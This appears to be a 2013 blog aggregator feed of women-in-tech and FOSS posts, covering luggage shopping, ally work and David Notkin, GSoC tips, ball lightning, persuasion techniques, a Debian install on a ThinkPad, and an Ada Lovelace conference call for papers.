Here's a small hard case that meets a lot more of my criteria. It clocks in at 35cmx39cmx23cm (that's 14"x15"x9" for those of us who have to fly in America) and comes in cheerful colours. I'm actually not sure which one I'd choose -- normally I shun the pinks but that dark one is pretty lovely and would fit nicely into some sort of business-travelling fashionista persona if I dressed the part with some business casuals. But maybe the green or red would be less likely to clash with my existing wardrobe.... Honestly, I'm approaching this project much like I do cosplay, and now that I think about it it's not really that different: I'm playing for an audience to believe me to be someone very specific. Nevermind that I'm still projecting a variant on me; it's all the same body language, fashion, and carefully chosen accessories that make it work.
Similarly, a bright orange gem that could probably work with the persona too. 36x44x20cm (14x17x8") for that one, and only two wheels tucked into the edges so probably a bit more packing space in the final tally.
But despite the obvious appeal for my in-progress traveler persona, I'm not seeing any useful way for me to get reviews of these that I can actually understand since they're shipping from Hong Kong, and I haven't quite decided if I really should be making a hundred dollar gamble just because the colours are fun. I wonder if it's possible to find something similar that's at least a little more local to me? I have learned the useful new search terms "rolling business case" but it's mostly been turning up uninspired blackness.
Incidentally, I *did* check the wirecutter and they do have a section on bags, just not the kind I'm looking for. Bags are one of those few things I'm exceptionally picky about (especially right now while mildly injured, but even when not I tend to have precise requirements) so it probably isn't that much of a loss. They're apparently looking for a freelance bag editor and I rather wish I were actually the right person for that job. Lot of work for little pay, but a chance to try lots of bags!
To whet your appetite for Thursday’s discussion of Coding Freedom: The Ethics and Aesthetics of Hacking, listen to this great interview with author Gabriella Coleman on To The Best of our Knowledge.
This is a guest post by Debbie Notkin, who is the chair of the James Tiptree, Jr. Award motherboard, a co-organizer of WisCon, and a science fiction and fantasy editor and reviewer. She is also the writer (with Laurie Toby Edison) of Women En Large: Images of Fat Nudes and (with Laurie Toby Edison and Richard F. Dutcher) of Familiar Men: A Book of Nudes. She blogs at Body Impolitic and on Dreamwidth.
No marginalized group can move forward without allies, and all of us have the opportunity to be allies as well as need allies. So it behooves us to look at what high-integrity, committed ally work looks like. And that’s why I want to tell you about my brother.
When David Notkin’s son Akiva was about two years old, he was fascinated by all games played with balls. (At 15, he still is.) We were on a family vacation together when David and I walked with the toddler past a ping-pong table, and Akiva instantly wanted to see what was up. I asked David why he thought Akiva was so much more interested in balls and ball games than his older sister Emma. David said, “I don’t know. We treated them exactly the same; it must just be something about him.” Having heard this from dozens of parents over the years, and rarely finding a productive response, I just let it go.
Years later, unprompted (if I recall correctly), David told me that he was no longer sure that was true. He had started to spend time with and pay attention to the serious feminists who advocate for more women in technology and the STEM fields, and he had done some listening and some reading. He said, “I think it’s perfectly possible that we responded to Akiva’s interest in balls differently than we would have if it had been Emma.” I had, and still have, very little experience with anyone changing their mind on these topics.
Melissa McEwen at Shakesville differentiates between what she calls the “Fixed State Ally Model” and the “Process Model,”
In the Process Model, the privileged person views hirself as someone engaged in ally work, but does not identify as an ally, rather viewing ally work as an ongoing process. Zie views being an ally as a fluid state, externally defined by individual members of the one or more marginalized populations on behalf zie leverages hir privilege.
The kind of shift that David made about his son’s interest in ball games is as good a step into the Process Model as any.
In this flash talk, given at the National Center for Women & Information Technology (NCWIT) Summit in Chicago in May of 2012, we see more commitment to process in ally work.
In this talk, David says nothing about what women want, how to bring women into the field, or really anything about anyone except David. Instead, he describes the reasons to take another step on an ally’s journey, and advocates a way for teachers and professors to take that step, by voluntarily stepping into a learning situation where they are in the minority. As he says in the opening frame, he’s in a room full of brilliant women. As he doesn’t say, he knows he has nothing to tell them about being female, or being female in the computer science world, or anything else about their lives. What he can share is his own efforts to understand what it’s like to be marginalized, without taking on the mantle of the marginalized.
The NCWIT talk came in a deceptively optimistic period for David; he had spent the end of 2010 and virtually all of 2011 in cancer treatment, and his scans were clean … until June. In February of 2013, a few months after David’s cancer had spread and he had been given a terminal diagnosis, his department held a celebration event for him. Notkinfest was a splendor of tie-dye, laughter, and professional and personal commemoration. I hadn’t really followed his trajectory as an ally and mentor to women and people of color, and I was amazed at how many of the speakers talked about his role in making space for marginalized groups.
Anne Condon, professor and head of the Department of Computer Science at the University of British Columbia told a longer story about Mary Lou Soffa, (Department of Computer Science, University of Michigan), who couldn’t be there. Dr. Condon said,
Mary Lou is a very prestigious researcher in compilers and software engineering, and probably the most outspoken person I know. Once a senior officer from a very prominent computing organization proudly unveiled a video about opportunities in computer science. Now in this video, all of the people profiled were white males, except for one little girl.
Mary Lou in true fashion stood up and she did not mince words as she told this senior official what she thought of that video. When she was done, there was total silence in the room. And then one voice spoke up, questioned the choice of profiles in that video and spoke to the importance of diversity as part of the vision of this organization.
And that person was David Notkin.
The speaker list at Notkinfest, aside from Dr. Condon, included somewhat of a Who’s Who in increasing diversity in computer science, including:
- Martha Pollack, soon to be Provost for Academic and Budgetary Affairs, as well as Professor of Information and Professor of Computer Science and Engineering at the University of Michigan, who has received the Sarah Goddard Power Award in recognition of her efforts to increase the representation of and climate for women and underrepresented minorities in science and engineering.
- Tapan Parikh, Associate Professor at the University of California at Berkeley, and the TR35 Humanitarian of the Year in 2007. (check out his TedX talk on representing your ethnic background).
- Carla Ellis, member and past co-chair of CRA-W, CRA’s Committee on the Status of Women in Computing Research , past co-chair of the Academic Alliance of NCWIT. On her web page, Ellis says: “In my retirement, I will be pursuing two passions: (1) advocating for green computing and the role of computing in creating a sustainable society and (2) encouraging the participation of women in computing.”
Notkinfest was David’s next-to-last professional appearance. Here’s what he said at the open reception:
It’s important to remember that I’m a privileged guy. Debbie and – our parents, Isabell and Herbert, were children of poor Russian Jewish immigrants, and they were raised in the Depression and taught us the value of education and how to benefit from it.
Mom, especially, taught us the value of each and every person on earth. I still wake up and – You know, we have bad days, we have bad days, but we have plenty to eat and we have a substantive education, and we have to figure out how to give more back. Because anybody who thinks that we’re just here because we’re smart forgets that we’re also privileged, and we have to extend that farther. So we’ve got to educate and help every generation and we all have to keep it up in lots of ways.
When I spoke at his funeral, not three months after Notkinfest, the main thing I did was repeat that plea.
Three tips to help new Google Summer of Code applicants and interns, some of which all remote workers could stand to remember:
- Never let yourself get stuck on a technical question or problem for more than half an hour. Take a break, ask questions in IRC or a mailing list, find a technical book to read like The Architecture of Open Source Applications, look at some other codebase to see how they do it, eat a meal, or do something else, then come back to the problem.
- Never let yourself get stuck waiting for someone's reply for more than 2 business days (Monday through Friday). Escalate -- ask your mentor. If your mentor isn't helping, ask your org admin. If the org admin isn't helping, ask on the GSoC discussion forum, or email Carol Smith.
- Ask yourself at the start of every day: what did I accomplish yesterday? What will I try to do today? What are the obstacles I think I will run into? If you ask yourself those three questions and answer honestly -- especially if you let your mentor and team know the answers -- then you will prevent long delays and help keep your morale up.
Sumana Harihareswara | Cogito, Ergo Sumana | 2013-05-12 13:49:44
I am sorry, Lakshmi Singh! I am one of those people of South Asian heritage who criticized your pronunciation of your name. I was wrong and I'm sorry.
Sumana Harihareswara | Cogito, Ergo Sumana | 2013-05-12 12:54:48
Don’t have enough worries keeping you awake at night? How about worrying about being woken up by a glowing floating ball of light barging into your bedroom in the middle of the night?
At 1:36 a.m. this morning I awoke to find the room bathed in a dim orange light. Whether it was the light that woke me or the violent thunderstorm I cannot decide, but at first I thought someone had come into my bedroom. It was only when I rolled onto my back that I noticed an orange sphere floating some 60 cm [2 ft] from the window and about 1.6 m [5 ft] off the floor near the foot of my bed. I wasn’t sure if I was awake, asleep, dreaming or what – but I started counting.
That’s what happened on June 8, 1974 to P. M. Bagnall, network director of the British Meteor Society. Bagnall had heard of ball lightning before, but never expected to see it himself. He watched the glowing orange ball, about the size of a large grapefruit, slowly float around his room for about 50 seconds. When he put his hand near it, he felt heat radiating from the ball. Here’s what happened next:
Finally the ball moved upwards towards the ceiling, at about the same velocity as it had crossed the room, and passed through it like a Hollywood Ghost. [...] I turned the light on but there no signs of burning or any other damage. I hope to God I never see another – at least not under those circumstances!
If you’re thinking, “Hmph, just another deluded ghost story,” you should know that Bagnall’s story is a fairly typical of the thousands of reports of an unexplained atmospheric phenomenon called ball lightning.
Ball lightning looks like a floating glowing fuzzy ball of light, usually a few inches to a few feet in diameter. It floats or moves around rooms, airplanes, open areas – and occasionally through solid objects. It usually lasts for a few seconds or, rarely, minutes, and then disappears, silently, or with a popping sound, or sometimes even a loud explosion and a surge of electricity through nearby objects. This surge often sets on fire, blows up, or electrocutes nearby objects – everything from cows to VCR players to people. Ball lightning usually appears under in the same circumstances as regular old lightning: during major storms, flying through clouds in planes, etc.
Ball what?
If you’ve never heard of ball lightning before, you’re in good company. I’m the kind of person who thinks reasonable small talk includes things like, “I read an entire textbook on ball lightning during my vacation,” so you can imagine what my friends are like. But most of them had never heard of it, making it difficult for me to gush about it.
Since I did, actually, read an entire textbook on ball lightning during my vacation
(Ball Lightning by Mark Stenhoff), and the Wikipedia article on ball lightning is less than riveting reading, I wrote this post to explain why I find ball lightning so freaking fascinating. Most of this post is based on Stenhoff’s remarkably comprehensive, readable, and expensive book. If you don’t have $200 to blow on a textbook and are more interested in the stories than the (very limited) science of ball lightning, I recommend the free ebook of Camille Flammarion’s 1905 opus, Thunder and Lightning.
Ball lightning: myth or science?
Ball lightning is an extremely rare phenomenon – so rare that until recently, most scientists explained it away as afterimages from lightning strikes, clouds of electrified flying insects, or (my favorite) a regular lightning flash “viewed end-on.” I first learned about ball lightning as a little girl from reading the children’s book series Little House on the Prairie, a semi-fictionalized diary about settler life in the American midwest during the 1870′s. During a major snowstorm, Laura and her sisters are playing games in their farmhouse, when:
The stovepipe sharply rattled. Laura looked up and screamed, “Ma! The house is on fire!” A long ball of fire was rolling down the stovepipe. It was bigger than Ma’s ball of yarn. It rolled across the floor as Ma sprang up. She snatched her skirts up and stamped on it. But it seemed to jump through her foot, and it rolled to the knitting needles she had dropped. Ma tried to brush it into the ashpan. It ran in front of her knitting needles, but it followed the needles back. Another ball of fire had rolled down the stovepipe, and another. They rolled across the floor after the knitting needles and did not burn the floor.
I was totally fascinated by this vignette, but I was never quite sure: Did balls of fire really run down settlers’ stovepipes in storms, or was it just a story? After all, “Little House on the Prairie” was heavily rewritten by the author’s daughter, Rose Wilder Lane, to promote Ayn Rand’s objectivist philosophy, so a little fictionalization (or a lot) is to be expected. Since Wikipedia didn’t exist then, the truth about ball lightning remained a tantalizing mystery for most of my childhood.
Personally, I am a sucker for anything thought to be mythological that turns out to be real, like giant squid, or the entire continent of Antarctica. So I was thrilled to discover that not only was ball lightning was real, it’s also as yet poorly understood by scientists. With any luck, scientists will figure out the physics behind ball lightning during my lifetime, a discovery I look forward to as eagerly as most people do the next episode of “Mad Men.”
Ball lightning kills
The ball lightning Laura and her family saw was as fuzzy, playful, and harmless as a kitten. But some ball lightning is fatal:
The last Lord’s day (July 2 1665), as Mr. Hobbs was preaching in his Parish Church of Erpingham, in the afternoon, there did arise a great storm, and there descended the appearance of a great grey ball [...] It left a great smoke and stink behind it, and upon the breaking there was a great and hideous outcry in the Church, and in the confusion there was one man found stark dead and many others lamed, who yet continue so. [...] One Mr. How who sat above the chancel is lamed and about the top of his thigh in the groin, is [a] round red place and down from that about the breadth of a finger, a red streak to his foot which is very painful and his stocking on the inside is seared, but not without. (Stenhoff, page 74)
Reports of ball lightning slaying terrified parishioners left and right are surprisingly common during the 17th and 18th centuries in Europe.
On July 11, 1809, about eleven o’clock in the morning, a fireball penetrated into the church of Chateauneuf-les-Moustiers (Basses-Alpes) just as the bell was ringing and a large congregation had taken their seats. Nine persons were killed on the spot and eighty-two others were wounded. All the dogs that had got into the church were killed. A woman who was in a hut on a neighboring hill saw three fireballs descend that day, and [was] sure they would reduce the village to ashes. (Flammarion, pages 60-61)
Undoubtedly, many people thought that the ball lightning was some kind of punishment from their god (or their devil). But there’s a better explanation for ball lightning’s predilection for churches. Ball lighting often happens during violent thunderstorms, and people often report seeing it heading straight for tall pointy things like chimneys. Churches in that time and place had tall pointy steeples, and people often go to church even during thunderstorms. In retrospect, it’s not too surprising that so many church-goers witnessed (or were killed by) ball lightning. Reports tapered off sometime in the 18th century; my personal suspicion is that a combination of lightning rod adoption (invented in 1749 by Benjamin Franklin) and changes in construction are responsible.
Ball lightning is fucking scary
You probably know enough about ball lightning now to be scared shitless of it – as you should be, given that it’s totally unpredictable, floats through walls, and occasionally kills people. But not to worry – ball lightning is extraordinarily rare. You have basically zero chance of ever seeing ball lightning yourself, unless you live in an abandoned 17th century English church, like to take walks in thunderstorms, or pilot aircraft through bad weather on a regular basis (more on this later).
The only quantitative estimate of the frequency of ball lightning was created using automatic photography of the night sky in several midwestern U.S. states for 10 years. The cameras recorded two probable ball lightning events during that time, yielding a frequency estimate that is hilarious just for the units involved: one ball lightning event per “4800 km2 night-years.” (Stenhoff, page 157)
If that’s not rare enough for you, the simplest way to avoid ball lightning is to avoid regular lightning – they are highly correlated, and some scientists believe that most of the major damage ascribed to ball lightning is actually from regular lightning flashes.
Not everyone who sees ball lightning is terrified:
In 1944 when I was 13 years old… We lived about 100 ft [30 m] from a water tower which was struck frequently by lightning. During one storm in the evening, my mother, my two younger brothers, and I saw a ball descend from a chandelier in our living room and settle onto the floor. It was pale yellow, about the size of a football or volleyball, perhaps smaller, and threw off small sparks. [...] We wanted to play with it, but my mother told us to keep away from it. It was not all frightening. (Stenhoff, page 171)
Personally, I’d seriously consider donating my left kidney for the chance to see ball lightning, even with moderate chance of death. But I also read 300 page textbooks for fun.
Theories about ball lightning
As Stenhoff delicately puts it, “Ball lightning research remains an immature field of study.” Another commentator is a little more direct: “Unfortunately, a significant fraction of the theoretical literature on ball lightning could best be described as rubbish, so the uninitiated reader should read the literature with more than the usual level of skepticism.” (Stenhoff, page 179) After plowing my way through three chapters of Stenhoff’s reviews of current theories and their shortcomings, I completely agree.
Some vital clues about which theories are worth paying attention to come from reports of ball lightning that forms near aircraft. Here’s a report from a flight attendant in a passenger plane on the way from Berlin to Stuttgart:
Suddenly, a bright, luminous ball appeared inside the pantry on the starboard side, apparently from the service door. It was bluish with a fuzzy edge, about the size of a melon (16 – 18 cm [6 - 7 in] diameter), and traveled quite rapidly about 70 – 80 cm [27 - 31 in] from the floor. It swung down the passenger aisle and having traveled about 3 m [3 ft] down the aisle, it disappeared, seeming to pass through the port side of the aircraft. Passengers seated in the front row saw it. (Stenhoff, pages 115-116)
Ball lightning reports from aircraft are remarkably consistent, and also totally cool. The ball forms in front of or inside the forward part of the aircraft, hangs there for a while, and then often travels towards the rear at about the same speed of ball lightning on the ground (relative to the aircraft itself). It often passes through the metal cockpit door and is independently sighted by passengers or crew as it travels down the center aisle and out the tail, or veers off to exit over the wing. Occasionally it will singe a pilot’s eyebrows.
Here’s another story, from a Russian plane flying near the Black Sea. Shortly after taking off, a ball of fire about 10 cm [4 in] across appeared, touching the plane in front of the cockpit:
It disappeared with a deafening noise, but re-emerged several seconds later in the passenger’s lunge, after piercing in an uncanny way through the air-tight metal wall. The fireball slowly flew above the heads of the stunned passengers. In the tail section of the airliner it divided into two glowing crescents which then joined together again and left the plane almost noiselessly. (Stenhoff, page 115)
Ball lightning around planes forms in the same conditions associated with normal lightning strikes to planes, just like on the ground. Irritatingly, most ball lightning theories don’t even attempt to account for the formation of ball lightning inside what is basically a hermetically sealed Faraday cage, much less its travel through a metal cockpit door.
One of the few theories that is actually consistent with most of the commonly observed behavior of ball lightning – passes through solid objects, moves sideways or hangs in the air, forms inside metal aircraft – is Handel and Leitner’s model, described by Stenhoff this way: “A maser-caviton ball lightning model in which ball lightning is a nonlinear, localized high-field soliton, known as a high-pressure caviton, forming a cavity surrounded by plasma. The source of VHF energy in the model is an atmospheric maser.” (Stenhoff, page 235)
A maser-caviton what? I don’t even pretend to understand this theory, but Stenhoff points out that one of its interesting qualities is that it predicts that ball lightning that forms inside aircraft or other closed spaces will have very low energy content and be unable to cause much damage – which indeed, matches most reports. Since most theories are incompatible with ball lightning forming inside an airplane at all, much less why it would be less powerful, this theory has more going for it than most.
Since ball lightning in aircraft is relatively well-documented, safe, and slightly more predictable than other forms, I wonder: Could ball lightning be systematically reproduced and studied safely by flying well-instrumented drones in the weather conditions that are known to produce ball lightning? Getting the budget to do so is another matter entirely, but learning how to produce glowing balls of light that float through walls? Seems worth it!
The sociology of ball lightning
I’m just as interested in the sociology of the scientific study of ball lightning. Why did it take so long for scientists to take seriously reports like this one?
On September 10, 1845, at about two in the afternoon, in the course of a violent storm, a fireball came down the chimney into a room in a house in the village of Salagnac (Creuse). A child and three women who were in the room suffered no harm from it. Then it rolled into the middle of the kitchen, and passed near the feet of a young peasant who was standing in it. After which it went into an adjoining room, and disappeared without leaving any trace. The women tried to persuade the man to go in and see whether he could not stamp it out, but he had once allowed himself to be electrified in Paris, and thought it prudent to refrain. (Stenhoff, page 80)
Stenhoff points out that ball lightning shares one characteristic with meteorites: they are rare, short-lived events that can’t be reproduced on demand, and are rarely observed by scientists. The vast majority of the witnesses are of low social status: peasants, housewives (gendered term used intentionally), children, etc. While we now accept meteorites as an established fact of science, scientists sneered at illiterate peasants’ reports of stones falling out of the clear blue sky for decades. It wasn’t until the early 19th century that scientists started taking meteorite reports seriously. (Stenhoff, page 177)
Ironically, Stenhoff commits the sin of disregarding eye witness reports even as he argues against it. While discussing the reliability of eye witness reports of a major meteor strike, he mentions as an example of unreliability that many observers report a sizzling noise at the same time they saw the meteors traverse the sky. That was believed to be impossible in 1999, when this book was published – after all, sound travels much more slowly than light, and the meteors are dozens of miles away. However, in 2001, scientists realized that meteors create very low frequency (VLF) radio waves as they travel through the atmosphere. These waves can cause things near the ground to vibrate – like hair – creating a sizzling or fizzing noise.
One can argue that reports from scientists should be more highly regarded because scientists are trained to be better observers. But that argument doesn’t apply to minor nobility such as the Marquis of Malaspina (Stenhoff, page 90) or the former Emperor of Brazil (Stenhoff, page 177), whose reports were also given greater weight than those of dozens of “peasants.” I myself appealed to your respect for higher status observers by starting this article with a report from “the network director of the British Meteor Society.”
Diversity and respect make for better science
Stenhoff encourages scientists to take seriously consistent eyewitness reports of phenomena that doesn’t match current scientific theory, for both science’s sake and for their own careers. He quotes from The Furtherance of Medical Research by Alan Gregg:
One wonders whether the rare ability to be completely attentive to, and to profit by, Nature’s slight deviation from the conduct expected of her is not the secret of the best research minds and one that explains why some men turn to most remarkably good advantage seemingly trivial accidents. Behind such attention lies an unremitting sensitivity.
It would be a shame if our prejudice and bigotry prevented us from discovering the science behind such extraordinarly interesting and cool phenomena as ball lightning. Yet one more reason why diversity of scientists and respect for the dignity of all human beings produces better science.
I'm currently reading Robert Cialdini's Yes! 50 Scientifically Proven Ways to Be Persuasive. I am really enjoying the refresher on many of these concepts, which I encountered in classes at Stanford. The book is particularly useful because it provides very concrete advice on applying the concepts. I've already started using some of the ideas in the Disaster Preparedness 101 class I'm collaborating on developing for the Sunnyvale Department of Public Safety.
We'll be handing out an action checklist, so people will have an idea of what to do, and they will be able to check off two items before class ends. By presenting the list as already partially complete, participants are more likely to continue to work on the tasks and feel less overwhelmed.
Another technique will be to explain that "most people like you, who care about getting prepared for disasters, also care about helping getting their neighborhoods and community prepared. And we've got just the program for you!" We then present the follow-on course, and provide a sign-up that they can do. Using the phrase "people like you, who care about" (as long as it's true), is a combination of the "labeling technique", which is simply another way of saying that people live up or down to your expectations of them, and the "bandwagon technique" explaining that "most people like you do x". Emphasize the qualities and behaviors that you want to reinforce, (rather than the ones you don't want) and people are more likely to conform with those expectations.
Another technique that I've incorporated is the simple one of writing down and sharing a goal. For the closing activity, attendees will be asked to write down one action they will complete within a week, and then share it with the group. Both making the commitment in writing and sharing it out loud with others increases the likelihood of someone following through on it.
Simple techniques, yes! But effective.
I recommend the book for everyone - after all, we all need to persuade others at times.
Anna Martelli Ravenscroft | Meandering streams of consciousness | 2013-05-10 18:51:23
Finally, things are taking shape. We got a very few but dedicated people interested to promote FOSS among women in India. After the first two meetings we decided to have this online event where
- we will have an online digital art competition
- a Mediawiki hackathon
- an event on localization.
Everything is in planning stage right now. But we want to make FOSS attractive for girls/women in India to first use it and then contribute to it. When they hear about this event or attend it, they should feel – yeah, it’s cool – I want to do this.
Have to plan some cool promotional materials for it.
There’s one big obstacle though. People, especially women in India think of FOSS as something “geeky” – not to be touched by everyone. That it is not easy to use.
If we do not address these myths, they will continue using third grade proprietary software without even trying any other alternative!
Please share your ideas/suggestions on how to make this event interesting and appealing to women in India.
In case you want to help, please join http://wfs-india.dreamwidth.org/ an participate in the irc meetings.
Satabdi Das | My foray into programming! | 2013-05-10 16:14:40
Owing to a relentless succession of Life Events and despite her best efforts, your correspondent was unable to finish Coding Freedom: The Ethics and Aesthetics of Hacking this week. But she wants to; it’s really good. Grab your own copy and let’s reconvene next Thursday, May 16.
I currently own a 20" rolling carry-on bag that has met my airline & train travel needs for years (I switched to it a year or two before airlines started charging for checked bags), and it's perfect for a week-long conference where I'm coming back or going out with a lot of stuff, or when I'm visiting my parents for close to a month at Christmas, but it seems excessive when I'm going for a weekend trip or a job interview.
I'm considering getting a smaller suitcase for those shorter trips, so I'm working out my requirements. This thread covers more or less what I have in mind, but here's some personal preference/requirement notes:
1. Must have wheels. I used to do backpack+purse for shorter trips, but I've been finding that I often pinch a nerve during travel and I'm pretty sure carrying my camera/laptop on my back is a factor.
2. Can fit my laptop and possibly SLR camera + 2-3 days worth of clothes. Thankfully my clothes are pretty small. Camera may be optional: I'm trying a downgrade to a point and shoot for short trips.
3. Preferably I'd like something that can fit into the overhead bin on the smaller regional jets, since often my flight will have one hop with those. A search says that this means the bag will have to be around 18Lx14Wx7D. Sounds like you can fit larger, but I'd rather not have to argue it out with the gate staff / flight attendant every time. I am perfectly ok with being given a checked tag and then "obliviously" carrying my bag on the plane anyhow as long as it will fit, though.
4. Butnot arguing with the gate/flight staff every time I fly would be awesome. This may mean going with something more backpack-like so I can just put it on my back when I walk on the plane, but mostly it just reinforces "small" and "looks like it holds a laptop." Briefcases should work.
5. Should have an open clothing section as opposed to a bunch of filefolder divider things that will make it harder to pack.
6. Should open fully, at least for the clothing section. Pure preference on my part.
7. I'm not too picky about laptop sleeves, although something I can easily slip a laptop out of for the TSA or in case I do have to check the bag is good. I basically never use my laptop on the plane, I just don't want to skycheck it.
8. If at all possible, not black. Something like 90% of the suitcases I see are black and I don't want to be worrying about someone grabbing mine by mistake.
9. But (and i realize this may contradict the "not black" thing) something that looks more business traveller-y would be good. I have a *lot* of trouble with TSA reps assuming I'm young or an infrequent traveler which is especially frustrating when I go somewhere with J and they immediately assume he's an expert while I get the "oh, hon, you know our machines are perfectly safe?" talk-down-to-the-little-girl spiel. (My new response: "My sister is a physicist who works in health and safety; I'd like to opt out." which is factually true but irrelevant and calculated to throw them and possibly nearby travelers out of their default headspace without getting into an argument.)
I've been finding that
(a) A disturbing number of online sites don't give pictures of the inside of the bags.
(b) A disturbing number of online sites don't give dimensions or even pictures that could help me guess the dimensions
(c) Bags are expensive (duh)
(d) There is an entire market for "women's suitcases" which I find somewhat strange. Particularly given that the "women's briefcase-bags" seem pretty much identical to the non-women's ones.
I don't have any short trips scheduled, but I'm hoping to find some bag options I like and catch a sale (luggage goes on sale quite frequently, so it's a bit ridiculous to pay full price if I've got time to spare).
I would love to hear first hand testimonials from any of you who travel with a bag that might meet my needs, though. It was a recommendation from Linuxchix that drew me to my current bag which has done me pretty well although it's starting to show its age now. comments
Installing fresh hot Debian 7.0 on a shiny new ThinkPad X1 Carbon laptop turns out to be easy as cake. You just need to make sure to grab the wifi firmware from unstable instead of the all-in-one firmware tarballs, which contain a version that is missing a couple required files.
wget http://cdimage.debian.org/debian-cd/7.0.0/multi-arch/iso-cd/debian-7.0.0-amd64-i386-netinst.iso
dd if=debian-7.0.0-amd64-i386-netinst.iso of=/dev/sdb
(Make sure /dev/sdb is really the usb stick you want to overwrite with the installer!)
wget http://ftp.us.debian.org/debian/pool/non-free/f/firmware-nonfree/firmware-iwlwifi_0.38_all.deb
And put that on a second usb stick for the installer to load the firmware off of.
As far as I can tell, everything works. (Did not mess around with the fingerprint reader, don't care.)
Christine Spang | but I felt no regrets as I turned and walked away | 2013-05-09 01:09:25
In January, we shared with you the call for papers for the Celebrating the Achievements and Legacies of Ada Lovelace conference:
CALL FOR PAPERS
Celebrating the Achievements and Legacies of Ada Lovelace
18 October 2013
Stevens Institute of Technology, College of Arts and Letters (Hoboken, New Jersey, USA)An interdisciplinary conference celebrating the achievements and legacies of the poet Lord Byron’s only known legitimate child, Ada Byron King, Countess of Lovelace (1815–1852), will take place at Stevens Institute of Technology (Hoboken, New Jersey) on 18 October 2013. This conference will coincide with the week celebrating Ada Lovelace Day, a global event for women in Science, Technology, Engineering, and Mathematics (STEM). All aspects of the achievements and legacies of Ada Lovelace will be considered, including but not limited to:
- Lovelace as Translator and/or Collaborator
- Technology in the Long Nineteenth Century
- Women in Computing: Past/Present/Future
- Women in STEM- Past/Present/Future
- Ada Lovelace and her Circle
Please submit proposals or abstracts of 250-500 words by 14 May 2013 to: Robin Hammerman (rhammerm@stevens.edu).
Submissions are still open, and organiser Robin Hammerman shares more about the conference and her interest in Ada Lovelace:
Q. Tell us a little about yourself.
Robin: I teach Literature and Communications at Stevens Institute of Technology in Hoboken, New Jersey. Most of our students major in STEM. To me, it is amazing to see how well our students build on their strengths and face their challenges in humanities courses. We are a relatively small school of only around 6,000 students with a strong spirit of collaboration. Our College of Arts and Letters is an ideal venue for hosting the upcoming Ada conference. We are a warm and welcoming part of the Stevens community, dedicated to mindful exchanges and – in my estimation – a perfect match for the Ada world. My research interests include science fiction, comics and graphic novels, and British Romanticism. I am chiefly a Byronist, so my initial connection to Ada was forged through my exposure to her father’s life and works. Additionally, it has been my honor to serve the Byron Society of America as its Director of Membership and Academic Services since 2007. As you might imagine, we have many Ada fans in our membership!
Q. What motivated you to create a conference about Ada Lovelace?
Robin: The time is definitely right to bring Ada to campus. Stevens was a male-only school until 1971 and now we have a flourishing community of women on campus. We are constantly generating fantastic opportunities for women so that they might thrive here, and it has definitely been working. Within the College of Arts and Letters alone we developed an excellent Gender Studies program, and our new program for Science and Technology Studies – also within CAL – strongly anchors women in STEM. Additionally, in 1982 Stevens became the first major educational institution in the U.S. to implement a personal computer requirement for its students. Back then, a pioneering technology project resulted in the networking of the entire Stevens campus, creating one of the nation’s first Intranets. Clearly, Stevens is well-positioned to host a conference celebrating Ada’s legacies and achievements.
Q. Who should speak at or attend this conference?
Robin: I anticipate an interdisciplinary extravaganza of past/present/future with people of varying interests represented in the audience and the speakers. Really, all are welcome – faculty, students, independent and rogue scholars, enthusiasts…the call for papers is rather open. In addition to topics on women in STEM, the history of computing, etc. we are interested in developing panels on new media. I would really like to hear some work at the conference on Ada’s collaboration with Charles Babbage as well as Ada’s larger circle. She had some very interesting friends, including Charles Dickens. While we are on the subject of literary topics, we are developing a panel on Ada’s iconic status in Steampunk Literature – so you see, there is hardly a limit to what we might include. You don’t have to be a passionate supporter of women in STEM to attend or speak at this conference, but it helps!
Q. What is your favorite Lovelace fact or story?
Robin: To me, the coolest ever Lovelace fact is that NASA named its first computer program after her. As a Byronist, I think that Ada never meeting her father is an interesting part of her story. Nevertheless, this fact seems to say more about her father than it does about her.
Q. What are your plans for next year?
Robin: I am interested in seeing how our Stevens community and beyond will be enriched by the conference proceedings. Next year will provide us with unique opportunities to expand our Ada-inspired knowledge bases. If it seems appropriate, perhaps we might consider developing a publication including papers from the conference. Most of all, this conference will bring together people who might otherwise not have met. From this act of coming together, I anticipate long-term benefits in our collective thinking about what it means to have true, interdisciplinary engagement.
The Ada Initiative | The Ada Initiative | 2013-05-08 18:09:38
রবীন্দ্রনাথ কে মাঝে মাঝে ভুলে যাওয়াটা দরকার। তাই এরপর যখন ট্রেনের জানলা দিয়ে বাইরে সবুজ, ওপরে নীল দেখতে গিয়ে চোখ আটকাবে, আর কিছু একটা বিড়বিড় করতে গিয়ে দুম করে গুনগুন করে উঠব - "নীল আকাশে কে ভাসালে, সাদা মেঘের ভেলা রে ভাই, লুকোচুরির খেলা" - কাউকে শোনানোর জন্য নয়, স্রেফ আর কিছু গাইলে এত আরাম পাওয়া যাবে না বলে, তখনই তৈরি হবে কোনো মুহূর্ত, বা অনন্তকাল। যেভাবে হারিয়ে যাওয়া কাছের মানুষকে মনে পড়ে, যেভাবে অনেকদিন না গাওয়া প্রিয় গান মনে পড়ে, সেভাবেই। সহজে।
The Gnome Outreach Program for Women is launching another round of FOSS internships, to start on the 1st of May.
Since OPW doesn't have the cool advertisement video they deserve to have, I think I let Sabah sing to lure the ladies to the show, she has practice and casts the summoning spell so beautifully:
Btw, Sabah is 80 (eighty!) in this video, and the song is a classic Lebanese love song, I hope you enjoy it!
Gabriela Gibson | Gabriela's Coding Blog | 2013-05-07 21:43:51
Whilst talking on IRC about the exotic design motivation for the --invoke-diff-cmd that I offered, it was realised that I was blissfully ignorant as to how (and why) printf() works, how to escape '%' characters, and what a variadic function is.
As is happens, SVN_DBG which is a test suite friendly SVN debugging tool needed documenting, and it happens to be a very good demonstration of how variadic functions work(esp, if you take time to read the GNU C Preprocessor manual) , and so, danielsh kindly tasked me with writing a small precis that introduces the SVN_DBG tool to new devs in the HACKING GUIDE.
As a nice bonus, it turns out that some time ago, I read over a small, but vital clue of how the ANSI C OO stuff works. I tend to read 'over' some stuff I do not understand in order to keep the universe of confusion minimised, and filed 'va_list' as some funky OO type linked list. So I was quite chuffed at finally figuring out how the 'and here, a miracle occurs' part works -- it uses a variadic function.
Gabriela Gibson | Gabriela's Coding Blog | 2013-05-07 21:40:05
- The 30 Most Important Women Under 30 In Tech: “We were truly blown away by the number of young, successful women in the tech industry. These women hold a variety of roles in the industry: founder, CEO, engineer, venture capitalist — you name it. “
- The Balance of Power: “The systematic, persistent acceptance of women’s second-class status is history’s greatest shame.”
- Good for GitHub: “Women-only programs work well for some women, and for that reason, I’m glad they exist. And I’m glad GitHub supports one of them.”
